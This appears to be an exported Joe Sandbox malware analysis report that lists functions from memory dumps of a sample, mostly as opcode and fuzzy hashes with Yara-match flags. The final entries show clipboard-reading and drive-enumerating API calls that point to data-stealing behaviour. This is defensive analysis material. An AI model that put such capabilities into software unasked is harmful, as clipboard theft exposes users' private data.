Opcode ID: c486ac2ce1ad100f0e38d66cbdf0be4d35fa78da5d65ee2e406166fba6341134
Instruction ID: 60ee57cc75265846ada0afa1f54ef24058dfca82aab4f0d1b8d5b1c2d5a04392
Opcode Fuzzy Hash: c486ac2ce1ad100f0e38d66cbdf0be4d35fa78da5d65ee2e406166fba6341134
Instruction Fuzzy Hash: 46019EB1B00B1157DB209E11A8D0B27B7A8AF85708F58443EE8445B746DB79FC05C2D9

Function 0211B3EB Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction ID: 50905aa32948174f046b8a45dbe5f2c35627c34531fb5f3bfda3336021eae434
Opcode Fuzzy Hash: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction Fuzzy Hash: 3D11E631104B508FD7348F25C825377BBE19B67318F198A6DC1E787AD1DB7AE10A8B40

Function 0041B184 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction ID: c9cc8284e85fe6abf120993d5689944f48ac7ce1a7ddbbf0d82d0496898c4a81
Opcode Fuzzy Hash: 5902da4a83a0c680140072e5af1454c543d54360fc1713abbe1431a6a1abbba6
Instruction Fuzzy Hash: 6911D331104B508FD7248F25C8243A7BBE1AB56318F198A5DC1E7877D1DB7AE1098B44

Function 02118809 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3d0f86c51dd52561bd956f66a0919b21b2b2791d13a1f53376856cb036d1a9
Instruction ID: 86e4959d3d2fdba9b81762025fcdfe687219064c8a01765f0792cf7d228678be
Opcode Fuzzy Hash: 2f3d0f86c51dd52561bd956f66a0919b21b2b2791d13a1f53376856cb036d1a9
Instruction Fuzzy Hash: FB11E9345C1220FEE268AF19DDD2F3D3261EB46718F268638F155970E1D7717850CA0D

Function 0211B3DA Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction ID: 8517723e887d247771089defe84ee4d1f59957a430c7a0c16624889eef9a6bd5
Opcode Fuzzy Hash: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction Fuzzy Hash: 3F017C601082C28FEB128F28D410BA6FBE0AF53318F1996D6D4D58B683D3799A49CB65

Function 0041B173 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction ID: f399462e58419c9d3019aec57572db2d86c2935946d127ab36988b8cbde57321
Opcode Fuzzy Hash: 153546a5fbbb63670836219b0711ac520bb9ba94bdbc265540c00f4ebd0ea963
Instruction Fuzzy Hash: 6A0171745082828FD7128F2994206A6FBE0EF63314F1896C7D4D58BA83C368A985C7A9

Function 0211BAE9 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction ID: c0f7acbd541741e5a8c61511c6a15c5628ca3f0184034c61c5c20e8f1d1842b6
Opcode Fuzzy Hash: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction Fuzzy Hash: 50018F201082C28FEB124B28C410BA6FFE0AF53318F1996D6D0D58F6C3D3799A45C765

Function 0211BD88 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fad5250513806df5dd8045c20fe98b1af86ce319376dba478ac7ddfced606c7b
Instruction ID: 21cac5257864d34cd6aacc3f77c6b3bb427f76986c86c2442d17399126911352
Opcode Fuzzy Hash: fad5250513806df5dd8045c20fe98b1af86ce319376dba478ac7ddfced606c7b
Instruction Fuzzy Hash: 0401F2605082C28FEF118F28D010BA6FBE0AF53328F1896E6C4D58F2C2C376C545CB61

Function 0041B882 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction ID: 925483313e90eaab4478f3efb897dfea373d722ea9097d537696ebe3f586dc89
Opcode Fuzzy Hash: b6779701cec66d85e342211494ba6ca2ab48124764d9d56f55accc6aa658e0e4
Instruction Fuzzy Hash: B90184305082C28ED7128F2984207A6FFA0EF63314F1895C7D4D58F6C3C3689985C7A9

Function 0041BB21 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35b802276cb4cab2e01238cfef8ad4f73f74ed2e8d92cb0ff5c3d327f1c90cc
Instruction ID: ce15afb6e8349f4df79a6844a38630f2605c57d7838470a331403b3b5471d388
Opcode Fuzzy Hash: c35b802276cb4cab2e01238cfef8ad4f73f74ed2e8d92cb0ff5c3d327f1c90cc
Instruction Fuzzy Hash: 6D01F2745082828EEB128F29D0107A7FBE0EF63314F18969AC4D58F6C3C379D885C7A9

Function 0040C3EC Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd38a00dc9aa6d99ca01aac821546609123fc2e2b8e046733f98ea8146a72aec
Instruction ID: c0b4a7645aed046faff80445a1a00849260a9e0a604dc3165cb580035c2becad
Opcode Fuzzy Hash: cd38a00dc9aa6d99ca01aac821546609123fc2e2b8e046733f98ea8146a72aec
Instruction Fuzzy Hash: C5110C7025C3808FD7148F54D9D576BBBE1ABD2304F244A2CD5C127292D7F5890987A7

Function 0211B166 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction ID: 866e44885a62ce54fe0f3c200eafea313cdce2032ca0449fc4a027dfcb150473
Opcode Fuzzy Hash: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction Fuzzy Hash: E901AD201082C28FEB124B28C410BB6FFE0AF53318F1996E6D0D58F2C3D37A8A49C765

Function 0041AEFF Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction ID: 743bb6218d146487c45d38f060deef663a31a3ebd16d578a5b80eb567479d545
Opcode Fuzzy Hash: 6d4357f5d039b7e7fc8698bf40539a149331d6485b26d5a26d22b351b8adaedb
Instruction Fuzzy Hash: FA01A2205082C28EE7128F2984207B6FFA0EF63314F1896C7D4D58F6C3C3699985C7A9

Function 0210C59B Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction ID: d870db9388c14e92850467a047fee80f1b943e78008b97874e7c2bc5c6431232
Opcode Fuzzy Hash: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction Fuzzy Hash: 3111047465C3808BD318CF28D9C076EBBE2ABC6214F244A2CE5C117296C7B1950ACBA6

Function 0040C334 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction ID: 19ad3dfdcd8e9eec61f1e1188f3eb7c49d356ea6c47e6a039e33f49038878d3c
Opcode Fuzzy Hash: bc8b52f0ebde1275c747968acf05f407d654f666dd441839f953e78bda0e1710
Instruction Fuzzy Hash: 0D11087465C3808BD318CF18D9C075BBBE29BD6314F244A2CD5C117295C7B5990ACB6A

Function 0211773F Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fc9c2b9ab787b67918dace5e316ea39913c3e7de64737a5f9c964aa54dc5f10
Instruction ID: 06b5badb4c5ecdce08dea935f4ed4ee2c60c5cfbdb325ee6b56ef16f6684c94c
Opcode Fuzzy Hash: 0fc9c2b9ab787b67918dace5e316ea39913c3e7de64737a5f9c964aa54dc5f10
Instruction Fuzzy Hash: F401A26554D3C14BD7268F3494543EABBE19F97314F0848BEC0C157192EB39814BC729

Function 0213F347 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d7cfea0e4e327b9eda319c71044655f3c20aae259e9c189ca88ac76d4abae3
Instruction ID: 45aaebf0e17f81a718f0b5ab3075cc72871feca76fb5f6055016002b44f4877a
Opcode Fuzzy Hash: f5d7cfea0e4e327b9eda319c71044655f3c20aae259e9c189ca88ac76d4abae3
Instruction Fuzzy Hash: 6AF0D675980228BBD2114B499C81D3B776FEBCE768F140318E51853561E322E912CAA9

Function 0043F0E0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ecd1faefde76f36583f38613df2e5eb9d8d0823934d6840002cbd1f744ed8a38
Instruction ID: 0c7a45b7bc69abfe1ea4a300e8af6adda297262347155a361b302868447e3dd6
Opcode Fuzzy Hash: ecd1faefde76f36583f38613df2e5eb9d8d0823934d6840002cbd1f744ed8a38
Instruction Fuzzy Hash: AFF0D635904214BBD5104F49EC81D37737DE7CE768F141329E514122A2A732AD1186A9

Function 0212B8B5 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6146b7094830001aaaf13cb0f51437480e6ddd60403108575e1b98eecd2c1ab1
Instruction ID: 50c454b513b0e1d60a06226902f2578f2c3b8db25897c14e27da939dfc1dfd54
Opcode Fuzzy Hash: 6146b7094830001aaaf13cb0f51437480e6ddd60403108575e1b98eecd2c1ab1
Instruction Fuzzy Hash: 6EF096F4A4C621DFDA188F18EC4273A73A6EF86358F14452CF1552B174D331A925DA09

Function 00418672 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bff55706ff93967b4313bb2a1d7a7ee9ee426091711acca18b712e24a09905
Instruction ID: c14077b8a130247762470a12415ef9365636b0c970e2bf5ce29861a99db5fcbf
Opcode Fuzzy Hash: d0bff55706ff93967b4313bb2a1d7a7ee9ee426091711acca18b712e24a09905
Instruction Fuzzy Hash: B2F08238502120EEC7588F189EC157D73A2F747311729147EC406A31A0DF34ACD2C90E

Function 021158FA Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fba0dd296d97388ae8806046d0d018cb5991b0a5fc03ca011737e50afd9cac09
Instruction ID: 027e117a6df6b9f2d18fd30ba2577570c86f41819ac764fa053a91c27512297d
Opcode Fuzzy Hash: fba0dd296d97388ae8806046d0d018cb5991b0a5fc03ca011737e50afd9cac09
Instruction Fuzzy Hash: 09F0BE34659211EFD718CF08D890539B363FBC6328FD8827CE0A8470A8C73078518A4A

Function 02126BA7 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beb5adae6fff6175e383ddf1efeefbc8f00a994d28ce3fd0efda4cde5bc363b2
Instruction ID: 4c33e50ea93afcfd41b15f5924414bf436f2857bb121d2ac53b72c77d5841cf6
Opcode Fuzzy Hash: beb5adae6fff6175e383ddf1efeefbc8f00a994d28ce3fd0efda4cde5bc363b2
Instruction Fuzzy Hash: 8FF08274A81022EFD71C8F189950A3FF373FB46325F699124E515231E0D330BC26CA48

Function 0210D12E Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction ID: f91cf7e0ed735b76968527ece6c9311530663c700f60172ddc7e2451c5242614
Opcode Fuzzy Hash: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction Fuzzy Hash: E0E0FD3469C6C08FD218EB15DCF08797367AF85308726542D805717ED6DBB4A856CF0E

Function 0040CEC7 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction ID: 7afc85315bce952cb7d9511845f2cfe5cc4fdaba4f93361a027a170bce18a72b
Opcode Fuzzy Hash: 41d706f10eab7f6aa9807f481bba08dd8ed5b6f7244fe64e6bd3362bb5ad2f88
Instruction Fuzzy Hash: B2E07D3461DA008BE218EF12D95543B73B2AF82308711587E91D3276D2CE78A806DB5D

Function 0042B652 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2067ab6f32b58c45c9008d31a8987c58cfc8b8a777689b5c00e406fa9fe567
Instruction ID: 85f90f05b7cd9740f0dd11be4e47d539d37879f59d8f753959adedc7e492877d
Opcode Fuzzy Hash: bf2067ab6f32b58c45c9008d31a8987c58cfc8b8a777689b5c00e406fa9fe567
Instruction Fuzzy Hash: 72E08678B18231DBD6148F05F99163AB3A1EFD7305F98543F904657620E334AC02C68F

Function 0211F507 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 8264f0122144d1b37ed2fd3b456fe30bfbc7bf40c52825e3c7f16af22b9d81a8
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: CFD0A76158C7A10E97A8CD7854A087BFBE4E947516B1815AEF4D1E7505D330EC028658

Function 0041F2A0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: 3e00189c545ef2cffbc0a4c45a62ec63a19577d5de140b8962752aa3758dc2ad
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: EDD0A7755487A10E9759CD3804A04B7FBE8E947612B1814EFE4D5E7205D239DC46469C

Function 0210D59B Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction ID: a611846b0fa20e9d8ad4a3b201c71c1ff61f7edb375d67ac721352836e98058b
Opcode Fuzzy Hash: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction Fuzzy Hash: 6EC04C69A6C4008A924CCB55AC9053172769B8B254B15E029802A53255E2649457C94D

Function 0040D334 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction ID: 8c6602917fdb956e33e5ed0c062c44bb8739f147fa9184780212f41d8b26cb24
Opcode Fuzzy Hash: c0d29d2c066fb543f05896e7434625b03865aceeb40a931a3d9b644db311bfe7
Instruction Fuzzy Hash: 50C04C69E6C4008B924CCB15AC5153266769B8B254715E03A841663255E234945B950D

Function 021421EA Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35d2e33cd3e1e12ea04a62caa481261f2aa62d3dab37d938482d2be42403fd6b
Instruction ID: d46756a0e1fb04911aea311e00f3b6d6bbb29cfd6f8012ad29779e734c60ec08
Opcode Fuzzy Hash: 35d2e33cd3e1e12ea04a62caa481261f2aa62d3dab37d938482d2be42403fd6b
Instruction Fuzzy Hash: D7B002749493418BD380CF18D545726F6F0B747615F142919A054F3151D374D9488A5E

Function 02141C3E Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b31a4ec24c9909080489b0d4d2d3b4d03d345a3c8726ed2263eab24f62679d5
Instruction ID: c018d795f0dc3322a67de82126959776e6cc80093cc23c5047751edba26d1c35
Opcode Fuzzy Hash: 3b31a4ec24c9909080489b0d4d2d3b4d03d345a3c8726ed2263eab24f62679d5
Instruction Fuzzy Hash: BC900224D49100CA81408F45A480570E278630B10DF1534109008F3011C210D404450C

Function 02136A57 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02136A6B
GetClipboardData.USER32 ref: 02136A86
GlobalLock.KERNEL32 ref: 02136A9F
GetWindowLongW.USER32 ref: 02136B04
GlobalUnlock.KERNEL32 ref: 02136BC0
CloseClipboard.USER32 ref: 02136BC9

Strings

N, xrefs: 02136B29
B, xrefs: 02136B2E
{, xrefs: 02136B24
C, xrefs: 02136B1F
}, xrefs: 02136B38
O, xrefs: 02136B33
@, xrefs: 02136B51
K, xrefs: 02136B4C
E, xrefs: 02136B1A
t, xrefs: 02136B3D
F, xrefs: 02136B47

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: @$B$C$E$F$K$N$O$t${$}
API String ID: 2832541153-984153585
Opcode ID: 8fd00541a03fdab39137d35ec259fb7aeeef9dd7c60101cc427a738eb574f5a5
Instruction ID: 77dcc37273657a30de4e737d48430d486c59e309712728f86e8c66bed2498cbb
Opcode Fuzzy Hash: 8fd00541a03fdab39137d35ec259fb7aeeef9dd7c60101cc427a738eb574f5a5
Instruction Fuzzy Hash: 25415C7050C3818ED311EF78948835FBFE5AB92318F05096DE4D987296D7B9C548CBAB

Function 004367F0 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436804
GetClipboardData.USER32 ref: 0043681F
GlobalLock.KERNEL32 ref: 00436838
GetWindowLongW.USER32 ref: 0043689D
GlobalUnlock.KERNEL32 ref: 00436959
CloseClipboard.USER32 ref: 00436962

Strings

E, xrefs: 004368B3
C, xrefs: 004368B8
K, xrefs: 004368E5
B, xrefs: 004368C7
N, xrefs: 004368C2
t, xrefs: 004368D6
O, xrefs: 004368CC
@, xrefs: 004368EA
{, xrefs: 004368BD
}, xrefs: 004368D1
F, xrefs: 004368E0

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: @$B$C$E$F$K$N$O$t${$}
API String ID: 2832541153-984153585
Opcode ID: bcc03291c71dc1ac25c6e95f0924d253445351a4da78695e986e918d99809bc9
Instruction ID: d12379fae56aa42f0d26b1a9ba346e1c7749dd96ee15ae9ce42ccc61be201c2c
Opcode Fuzzy Hash: bcc03291c71dc1ac25c6e95f0924d253445351a4da78695e986e918d99809bc9
Instruction Fuzzy Hash: 65418FB050C3818ED301EF78D58931FBFE0AF96318F05492EE4C996292D67D8549CBAB

Function 021255CF Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 0212572D

Strings

,X*^, xrefs: 0212560A
%\)R, xrefs: 02125612
?P:V, xrefs: 0212561A
.T'j, xrefs: 02125622
1D6Z, xrefs: 02125602
:@&F, xrefs: 021255FA
C`<f, xrefs: 0212563A

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: DrivesLogical
String ID: %\)R$,X*^$.T'j$1D6Z$:@&F$?P:V$C`<f
API String ID: 999431828-351939610
Opcode ID: 4f62df2b81f42cfb46ec157f180c00cd4febe93a651d1f2f065370f133753792
Instruction ID: 98815a668fff7cd6cd6910722281def0a154962e2b2d34272f4a8a4bcd47f89b
Opcode Fuzzy Hash: 4f62df2b81f42cfb46ec157f180c00cd4febe93a651d1f2f065370f133753792
Instruction Fuzzy Hash: B631FCB41493548FC314CF15C89122BBBB2FFC1324F40981CF6964B720E779994ACB42

Function 02136BE7 Relevance: 12.1, APIs: 8, Instructions: 67windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 02136BF0
